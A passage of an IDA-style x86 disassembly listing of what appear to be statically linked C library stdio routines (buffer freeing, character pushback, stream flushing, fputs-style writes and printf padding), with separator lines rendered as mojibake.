jnz short loc_8061FF3 mov eax, [ebx+20h] sub eax, [ebx+1Ch] push eax mov eax, [ebx+1Ch] push eax call munmap mov dword ptr [ebx+20h], 0 mov dword ptr [ebx+1Ch], 0 add esp, 8 loc_8061FF3: ; CODE XREF: sub_8061FC0+Bj ; sub_8061FC0+10j mov eax, [ebx+30h] test eax, eax jz short loc_8062009 lea esi, [esi] loc_8061FFC: ; CODE XREF: sub_8061FC0+47j mov dword ptr [eax+4], 0 mov eax, [eax] test eax, eax jnz short loc_8061FFC loc_8062009: ; CODE XREF: sub_8061FC0+38j cmp dword ptr [ebx+24h], 0 jz short loc_8062022 mov eax, [ebx+24h] push eax call free mov dword ptr [ebx+24h], 0 add esp, 4 loc_8062022: ; CODE XREF: sub_8061FC0+4Dj push ebx call sub_8061788 mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8061FC0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062030 proc near push ebp mov ebp, esp mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn sub_8062030 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806203C proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebx+4] cmp [ebx+0Ch], eax jnb short loc_806205C cmp [eax-1], dl jnz short loc_806205C dec dword ptr [ebx+4] movzx eax, dl jmp short loc_8062066 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806205C: ; CODE XREF: sub_806203C+10j ; sub_806203C+15j mov eax, [ebx+50h] push edx push ebx mov eax, [eax+2Ch] call eax loc_8062066: ; CODE XREF: sub_806203C+1Dj cmp eax, 0FFFFFFFFh jz short loc_806206E and dword ptr [ebx], 0FFFFFFEFh loc_806206E: ; CODE XREF: sub_806203C+2Dj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_806203C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062078 proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+4] cmp [ebx+0Ch], eax jnb short loc_8062094 dec dword ptr [ebx+4] mov eax, [ebx+4] movzx eax, byte ptr [eax] jmp short loc_806209F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062094: ; CODE XREF: sub_8062078+Dj mov eax, [ebx+50h] push 0FFFFFFFFh push ebx mov eax, [eax+2Ch] call eax loc_806209F: ; CODE XREF: sub_8062078+18j cmp eax, 0FFFFFFFFh jz short loc_80620A7 and dword ptr [ebx], 0FFFFFFEFh loc_80620A7: ; CODE XREF: sub_8062078+2Aj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8062078 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80620B0 proc near arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dx, [ebp+arg_4] inc dx mov [eax+44h], dx xor eax, eax mov esp, ebp pop ebp retn sub_80620B0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80620C8 proc near ; CODE XREF: sub_8060FA8+72p ; sub_8062154+29p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_4] mov esi, [ebp+arg_8] lea edx, [esi+ebx] cmp edx, ebx jbe short loc_8062144 mov ecx, edx mov eax, ebx sub eax, edx and eax, 3 cmp edx, ebx jle short loc_8062101 test eax, eax jz short loc_806210C cmp eax, 3 jge short loc_8062101 cmp eax, 2 jge short loc_80620FB dec edx cmp byte ptr [edx], 0Ah jz short loc_8062138 loc_80620FB: ; CODE XREF: sub_80620C8+2Bj dec edx cmp byte ptr [edx], 0Ah jz short loc_8062138 loc_8062101: ; CODE XREF: sub_80620C8+1Dj ; sub_80620C8+26j dec edx cmp byte ptr [edx], 0Ah jz short loc_8062138 jmp short loc_8062140 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806210C: ; CODE XREF: sub_80620C8+21j ; sub_80620C8+7Aj lea eax, [edx-1] cmp byte ptr [edx-1], 0Ah jz short loc_8062127 lea eax, [edx-2] cmp byte ptr [edx-2], 0Ah jz short loc_8062127 lea eax, [edx-3] cmp byte ptr [edx-3], 0Ah jnz short loc_8062130 loc_8062127: ; CODE XREF: sub_80620C8+4Bj ; sub_80620C8+54j sub ecx, eax mov eax, ecx dec eax jmp short loc_8062149 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062130: ; CODE XREF: sub_80620C8+5Dj add edx, 0FFFFFFFCh cmp byte ptr [edx], 0Ah jnz short loc_8062140 loc_8062138: ; CODE XREF: sub_80620C8+31j ; sub_80620C8+37j ... mov eax, ecx sub eax, edx dec eax jmp short loc_8062149 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062140: ; CODE XREF: sub_80620C8+3Fj ; sub_80620C8+6Ej cmp edx, ebx ja short loc_806210C loc_8062144: ; CODE XREF: sub_80620C8+10j mov eax, [ebp+arg_0] add eax, esi loc_8062149: ; CODE XREF: sub_80620C8+64j ; sub_80620C8+75j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80620C8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062154 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] cmp word ptr [edx+44h], 0 jnz short loc_806216C mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806216C: ; CODE XREF: sub_8062154+Bj mov eax, [edx+14h] sub eax, [edx+10h] push eax mov eax, [edx+10h] push eax movzx eax, word ptr [edx+44h] dec eax push eax call sub_80620C8 mov esp, ebp pop ebp retn sub_8062154 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062188 proc near ; CODE XREF: abort+1Dp exit+61p ... var_8 = byte ptr -8 push ebp mov ebp, esp push esi push ebx xor esi, esi mov ebx, off_80787F8 test ebx, ebx jz short loc_80621C3 db 8Dh,76h,0 ; lea esi, [esi+0] loc_806219C: ; CODE XREF: sub_8062188+39j mov eax, [ebx+14h] cmp [ebx+10h], eax jnb short loc_80621BC mov eax, [ebx+50h] push 0FFFFFFFFh push ebx mov eax, [eax+14h] call eax add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_80621BC mov esi, 0FFFFFFFFh loc_80621BC: ; CODE XREF: sub_8062188+1Aj ; sub_8062188+2Dj mov ebx, [ebx+34h] test ebx, ebx jnz short loc_806219C loc_80621C3: ; CODE XREF: sub_8062188+Fj mov eax, esi lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8062188 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80621D0 proc near ; CODE XREF: sub_806106C+2Fp var_4 = dword ptr -4 push ebp mov ebp, esp push ebx mov ebx, off_80787F8 test ebx, ebx jz short loc_80621FB lea esi, [esi] loc_80621E0: ; CODE XREF: sub_80621D0+29j test byte ptr [ebx+1], 2 jz short loc_80621F4 mov eax, [ebx+50h] push 0FFFFFFFFh push ebx mov eax, [eax+14h] call eax add esp, 8 loc_80621F4: ; CODE XREF: sub_80621D0+14j mov ebx, [ebx+34h] test ebx, ebx jnz short loc_80621E0 loc_80621FB: ; CODE XREF: sub_80621D0+Cj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_80621D0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062204 proc near ; CODE XREF: sub_8062238+8p var_4 = dword ptr -4 push ebp mov ebp, esp push ebx mov ebx, off_80787F8 test ebx, ebx jz short loc_8062230 lea esi, [esi] loc_8062214: ; CODE XREF: sub_8062204+2Aj test byte ptr [ebx], 2 jnz short loc_8062229 mov eax, [ebx+50h] push 0 push 0 push ebx mov eax, [eax+54h] call eax add esp, 0Ch loc_8062229: ; CODE XREF: sub_8062204+13j mov ebx, [ebx+34h] test ebx, ebx jnz short loc_8062214 loc_8062230: ; CODE XREF: sub_8062204+Cj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8062204 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062238 proc near push ebp mov ebp, esp call sub_8062188 call sub_8062204 mov esp, ebp pop ebp retn sub_8062238 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806224C proc near var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov [esi+4], ebx test byte ptr [ebx+1], 8 jz short loc_8062266 push ebx call sub_806186C loc_8062266: ; CODE XREF: sub_806224C+12j test byte ptr [ebx+1], 1 jz short loc_8062274 mov edx, [ebx+4] sub edx, [ebx+8] jmp short loc_806227A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062274: ; CODE XREF: sub_806224C+1Ej mov edx, [ebx+4] sub edx, [ebx+0Ch] loc_806227A: ; CODE XREF: sub_806224C+26j mov [esi+8], edx mov eax, [ebx+30h] mov [esi], eax mov [ebx+30h], esi lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_806224C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062290 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov edx, [eax+4] add edx, 30h cmp dword ptr [edx], 0 jz short loc_80622B7 db 8Dh,76h,0 ; lea esi, [esi+0] loc_80622A4: ; CODE XREF: sub_8062290+25j cmp [edx], eax jnz short loc_80622B0 mov eax, [eax] mov [edx], eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80622B0: ; CODE XREF: sub_8062290+16j mov edx, [edx] cmp dword ptr [edx], 0 jnz short loc_80622A4 loc_80622B7: ; CODE XREF: sub_8062290+Fj mov esp, ebp pop ebp retn sub_8062290 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80622BC proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov edx, [edx+8] sub edx, [eax+8] mov eax, edx mov esp, ebp pop ebp retn sub_80622BC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80622D4 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_80622EC mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80622EC: ; CODE XREF: sub_80622D4+Aj mov eax, [edx+4] test byte ptr [eax+1], 1 jz short loc_8062300 mov ecx, [eax+4] sub ecx, [eax+8] jmp short loc_8062309 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062300: ; CODE XREF: sub_80622D4+1Fj mov eax, [edx+4] mov ecx, [eax+4] sub ecx, [eax+0Ch] loc_8062309: ; CODE XREF: sub_80622D4+27j mov eax, ecx mov edx, [edx+8] sub edx, eax mov eax, edx mov esp, ebp pop ebp retn sub_80622D4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062318 proc near var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] cmp [esi+4], ebx jz short loc_8062330 mov eax, 0FFFFFFFFh jmp short loc_806235F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062330: ; CODE XREF: sub_8062318+Ej cmp dword ptr [esi+8], 0 jl short loc_8062348 test byte ptr [ebx+1], 1 jz short loc_8062342 push ebx call sub_806180C loc_8062342: ; CODE XREF: sub_8062318+22j mov edx, [ebx+0Ch] jmp short loc_8062357 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062348: ; CODE XREF: sub_8062318+1Cj test byte ptr [ebx+1], 1 jnz short loc_8062354 push ebx call sub_806183C loc_8062354: ; CODE XREF: sub_8062318+34j mov edx, [ebx+8] loc_8062357: ; CODE XREF: sub_8062318+2Dj add edx, [esi+8] mov [ebx+4], edx xor eax, eax loc_806235F: ; CODE XREF: sub_8062318+15j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8062318 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062368 proc near ; CODE XREF: sub_8060D44+21p ; sub_8061278+1C5p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp dword ptr [eax+30h], 0 jz short loc_806237B mov dword ptr [eax+30h], 0 loc_806237B: ; CODE XREF: sub_8062368+Aj cmp dword ptr [eax+24h], 0 jz short loc_8062387 push eax call sub_80618D4 loc_8062387: ; CODE XREF: sub_8062368+17j mov esp, ebp pop ebp retn sub_8062368 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806238C proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov eax, [edx+4] cmp [edx+0Ch], eax jnb short loc_80623A0 dec dword ptr [edx+4] loc_80623A0: ; CODE XREF: sub_806238C+Fj cmp ecx, 0FFFFFFFFh jz short loc_80623B1 mov edx, [edx+4] movzx eax, byte ptr [edx] cmp eax, ecx jz short loc_80623B1 mov [edx], cl loc_80623B1: ; CODE XREF: sub_806238C+17j ; sub_806238C+21j movzx eax, cl mov esp, ebp pop ebp retn sub_806238C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80623B8 proc near ; CODE XREF: sub_8053180+1Ep var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov edi, [ebp+arg_0] mov eax, [edi+4] cmp [edi+0Ch], eax jb loc_8062474 cmp dword ptr [edi+24h], 0 jz short loc_80623EB test byte ptr [edi+1], 1 jnz short loc_80623E5 push edi call sub_806183C add esp, 4 loc_80623E5: ; CODE XREF: sub_80623B8+22j cmp dword ptr [edi+24h], 0 jnz short loc_8062414 loc_80623EB: ; CODE XREF: sub_80623B8+1Cj push 80h call malloc add esp, 4 test eax, eax jz short loc_8062438 mov [edi+24h], eax add eax, 80h mov [edi+2Ch], eax mov [edi+28h], eax push edi call sub_806183C jmp short loc_8062474 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062414: ; CODE XREF: sub_80623B8+31j mov eax, [edi+4] cmp [edi+0Ch], eax jb short loc_8062474 mov esi, [edi+8] sub esi, [edi+0Ch] lea ecx, [esi+esi] mov [ebp+var_4], ecx push ecx call malloc mov [ebp+var_8], eax add esp, 4 test eax, eax jnz short loc_8062440 loc_8062438: ; CODE XREF: sub_80623B8+42j mov eax, 0FFFFFFFFh jmp short loc_8062493 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8062440: ; CODE XREF: sub_80623B8+7Ej mov ebx, [ebp+var_4] sub ebx, esi mov eax, [edi+0Ch] add ebx, [ebp+var_8] push esi push eax push ebx call memcpy add esp, 0Ch mov eax, [edi+0Ch] push eax call free mov ecx, [ebp+var_8] mov [edi+0Ch], ecx mov [edi+4], ebx add ecx, [ebp+var_4] mov [edi+8], ecx mov eax, [edi+4] mov [edi+28h], eax loc_8062474: ; CODE XREF: sub_80623B8+12j ; sub_80623B8+58j ... dec dword ptr [edi+4] cmp [ebp+arg_4], 0FFFFFFFFh jz short loc_806248D mov edx, [edi+4] movzx eax, byte ptr [edx] cmp [ebp+arg_4], eax jz short loc_806248D mov cl, byte ptr [ebp+arg_4] mov [edx], cl loc_806248D: ; CODE XREF: sub_80623B8+C3j ; sub_80623B8+CEj mov eax, [edi+4] movzx eax, byte ptr [eax] loc_8062493: ; CODE XREF: sub_80623B8+85j lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80623B8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80624A0 proc near push ebp mov ebp, esp mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn sub_80624A0 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80624AC proc near push ebp mov ebp, esp mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn sub_80624AC endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80624B8 proc near push ebp mov ebp, esp mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn sub_80624B8 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80624C4 proc near push ebp mov ebp, esp xor eax, eax mov esp, ebp pop ebp retn sub_80624C4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80624D0 proc near ; CODE XREF: sub_805F68C+6Cp ; sub_805F730+60p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push ebx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_4] xor al, al ; strlen setup mov edi, ebx ; strlen setup cld ; strlen setup mov ecx, 0FFFFFFFFh ; strlen setup repne scasb ; strlen(arg_0) mov eax, ecx ; strlen cleanup, move result into eax not eax ; strlen cleanup lea edi, [eax-1] ; address of null terminator in the string test edx, edx ; if (arg_4 != NULL) jnz short loc_8062500 loc_80624F2: ; CODE XREF: sub_80624D0+3Cj mov __errno, 16h ; EINVAL jmp short loc_8062524 ; return -1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062500: ; CODE XREF: sub_80624D0+20j mov eax, [edx] ; valid pointer test setup? and eax, 0FFFF0000h ; valid pointer test setup? cmp eax, 0FBAD0000h ; valid pointer test? jnz short loc_80624F2 ; return -1 (EINVAL) mov eax, [edx+50h] push edi push ebx push edx mov eax, [eax+34h] call eax cmp eax, edi jnz short loc_8062524 ; return -1 mov eax, 1 jmp short loc_8062529 ; return 1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062524: ; CODE XREF: sub_80624D0+2Cj ; sub_80624D0+4Bj mov eax, 0FFFFFFFFh loc_8062529: ; CODE XREF: sub_80624D0+52j lea esp, [ebp+var_8] pop ebx pop edi mov esp, ebp pop ebp retn sub_80624D0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8062534 proc near ; CODE XREF: vfprintf+1219p ; vfprintf+13A3p ... var_1C = byte ptr -1Ch var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push edi push esi push ebx mov eax, [ebp+arg_4] xor edi, edi cmp eax, 20h jnz short loc_8062550 mov esi, offset a00000000000000 ; " 0000000000000000" jmp short loc_806258F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8062550: ; CODE XREF: sub_8062534+11j cmp eax, 30h jnz short loc_806255C mov esi, 8069A40h jmp short loc_806258F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806255C: ; CODE XREF: sub_8062534+1Fj mov [ebp+var_1], al mov [ebp+var_2], al mov [ebp+var_3], al mov [ebp+var_4], al mov [ebp+var_5], al mov [ebp+var_6], al mov [ebp+var_7], al mov [ebp+var_8], al mov [ebp+var_9], al mov [ebp+var_A], al mov [ebp+var_B], al mov [ebp+var_C], al mov [ebp+var_D], al mov [ebp+var_E], al mov [ebp+var_F], al mov [ebp+var_10], al lea esi, [ebp+var_10] loc_806258F: ; CODE XREF: sub_8062534+18j ; sub_8062534+26j mov ebx, [ebp+arg_8] cmp ebx, 0Fh jle short loc_80625B9 nop loc_8062598: ; CODE XREF: sub_8062534+83j mov edx, [ebp+arg_0] mov eax, [edx+50h] push 10h push esi push edx mov eax, [eax+34h] call eax add edi, eax add esp, 0Ch cmp eax, 10h jnz short loc_80625CD add ebx, 0FFFFFFF0h cmp ebx, 0Fh jg short loc_8062598 loc_80625B9: ; CODE XREF: 